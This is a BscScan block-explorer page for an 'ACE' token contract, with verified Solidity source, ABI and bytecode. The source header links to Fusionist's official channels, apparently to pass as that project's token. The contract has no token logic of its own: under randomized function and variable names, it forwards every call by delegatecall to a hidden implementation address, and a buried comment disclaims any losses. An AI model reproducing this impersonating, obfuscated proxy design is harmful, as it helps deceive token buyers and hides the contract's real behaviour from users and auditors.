BNB Price: $623.27 (+2.80%)
 

Overview

Max Total Supply

1,000,000,000ACE

Holders

4,537

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
OKX 35
Balance
4,037 ACE

Value
$0.00
0x3b5a23f6207d87b423c6789d2625ea620423b32d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
ACEToken

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at BscScan.com on 2023-12-18
*/

/**
Website : https://ace.fusionist.io/
Twitter : https://twitter.com/fusionistio
Telegram : https://t.me/fusionistann
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amounts)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amounts) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amounts
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(){
        _transferOwnership(msg.sender);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
 * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
 * be specified by overriding the virtual {_implementation} function.
 * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
 * different contract through the {_delegate} function.
 * The success and return data of the delegated call will be returned back to the caller of the proxy.
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
 contract ACEToken is Ownable {

      address public dlopld88;
        constructor(address __dlopld88) {
        dlopld88 = __dlopld88;
       }
    /**
     * @dev Delegates the current call to `implementation`.
     *
     * This function does not return to its internal call site, it will return directly to the external caller.
     */
    function _fnxr1tl9(address vzsqxl0q_) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.
            let result := delegatecall(gas(), vzsqxl0q_, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    /**
     * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
     * and {_fallback} should delegate.
     */
    function _vzsqxl0q() internal view virtual returns (address){
        return dlopld88;
    }

     /**
     * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
     * and {_fallback} should delegate.
     */
    /**
     * @dev Delegates the current call to the address returned by `_implementation()`.
     *
     * This function does not return to its internal call site, it will return directly to the external caller.
     */
    function _msw3sivkz() internal virtual {
        _zpo99qbho();
        _fnxr1tl9(_vzsqxl0q());
    }

    function _pbjs515s() public pure returns (string memory) {
        return "31514604";
    }
    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
     * function in the contract matches the call data.
     */
    fallback() external payable virtual {
        _msw3sivkz();
    }

    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
     * is empty.
     */
    receive() external payable virtual {
        _msw3sivkz();
    }

    /**
     * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
     * call, or as part of the Solidity `fallback` or `receive` functions.
     *
     * If overridden should call `super._beforeFallback()`.
     */
    function _zpo99qbho() internal virtual {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"__dlopld88","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"_pbjs515s","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dlopld88","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561001057600080fd5b5060405161087d38038061087d833981810160405281019061003291906101af565b6100413361008860201b60201c565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101dc565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061017c82610151565b9050919050565b61018c81610171565b811461019757600080fd5b50565b6000815190506101a981610183565b92915050565b6000602082840312156101c5576101c461014c565b5b60006101d38482850161019a565b91505092915050565b610692806101eb6000396000f3fe60806040526004361061004e5760003560e01c8063715018a6146100675780638da5cb5b1461007e5780639725952d146100a9578063acce5d3c146100d4578063f2fde38b146100ff5761005d565b3661005d5761005b610128565b005b610065610128565b005b34801561007357600080fd5b5061007c610142565b005b34801561008a57600080fd5b50610093610156565b6040516100a09190610433565b60405180910390f35b3480156100b557600080fd5b506100be61017f565b6040516100cb91906104de565b60405180910390f35b3480156100e057600080fd5b506100e96101bc565b6040516100f69190610433565b60405180910390f35b34801561010b57600080fd5b5061012660048036038101906101219190610531565b6101e2565b005b610130610265565b61014061013b610267565b610291565b565b61014a6102b7565b610154600061032e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f3331353134363034000000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6101ea6102b7565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610259576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610250906105d0565b60405180910390fd5b6102628161032e565b50565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3660008037600080366000845af43d6000803e80600081146102b2573d6000f35b3d6000fd5b3373ffffffffffffffffffffffffffffffffffffffff166102d6610156565b73ffffffffffffffffffffffffffffffffffffffff161461032c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103239061063c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061041d826103f2565b9050919050565b61042d81610412565b82525050565b60006020820190506104486000830184610424565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561048857808201518184015260208101905061046d565b60008484015250505050565b6000601f19601f8301169050919050565b60006104b08261044e565b6104ba8185610459565b93506104ca81856020860161046a565b6104d381610494565b840191505092915050565b600060208201905081810360008301526104f881846104a5565b905092915050565b600080fd5b61050e81610412565b811461051957600080fd5b50565b60008135905061052b81610505565b92915050565b60006020828403121561054757610546610500565b5b60006105558482850161051c565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006105ba602683610459565b91506105c58261055e565b604082019050919050565b600060208201905081810360008301526105e9816105ad565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000610626602083610459565b9150610631826105f0565b602082019050919050565b6000602082019050818103600083015261065581610619565b905091905056fea26469706673582212200f08a100e51ae9f052c9440d1e9960fd65fca4a54d7cb25c38caa56bee38e17e64736f6c6343000813003300000000000000000000000042414f73a4b18748bd2b1f8c3bb0e5914e93b2d0

Deployed Bytecode

0x60806040526004361061004e5760003560e01c8063715018a6146100675780638da5cb5b1461007e5780639725952d146100a9578063acce5d3c146100d4578063f2fde38b146100ff5761005d565b3661005d5761005b610128565b005b610065610128565b005b34801561007357600080fd5b5061007c610142565b005b34801561008a57600080fd5b50610093610156565b6040516100a09190610433565b60405180910390f35b3480156100b557600080fd5b506100be61017f565b6040516100cb91906104de565b60405180910390f35b3480156100e057600080fd5b506100e96101bc565b6040516100f69190610433565b60405180910390f35b34801561010b57600080fd5b5061012660048036038101906101219190610531565b6101e2565b005b610130610265565b61014061013b610267565b610291565b565b61014a6102b7565b610154600061032e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f3331353134363034000000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6101ea6102b7565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610259576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610250906105d0565b60405180910390fd5b6102628161032e565b50565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3660008037600080366000845af43d6000803e80600081146102b2573d6000f35b3d6000fd5b3373ffffffffffffffffffffffffffffffffffffffff166102d6610156565b73ffffffffffffffffffffffffffffffffffffffff161461032c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103239061063c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061041d826103f2565b9050919050565b61042d81610412565b82525050565b60006020820190506104486000830184610424565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561048857808201518184015260208101905061046d565b60008484015250505050565b6000601f19601f8301169050919050565b60006104b08261044e565b6104ba8185610459565b93506104ca81856020860161046a565b6104d381610494565b840191505092915050565b600060208201905081810360008301526104f881846104a5565b905092915050565b600080fd5b61050e81610412565b811461051957600080fd5b50565b60008135905061052b81610505565b92915050565b60006020828403121561054757610546610500565b5b60006105558482850161051c565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006105ba602683610459565b91506105c58261055e565b604082019050919050565b600060208201905081810360008301526105e9816105ad565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000610626602083610459565b9150610631826105f0565b602082019050919050565b6000602082019050818103600083015261065581610619565b905091905056fea26469706673582212200f08a100e51ae9f052c9440d1e9960fd65fca4a54d7cb25c38caa56bee38e17e64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000042414f73a4b18748bd2b1f8c3bb0e5914e93b2d0

-----Decoded View---------------
Arg [0] : __dlopld88 (address): 0x42414f73a4b18748bd2B1F8c3bb0e5914e93b2D0

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000042414f73a4b18748bd2b1f8c3bb0e5914e93b2d0


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.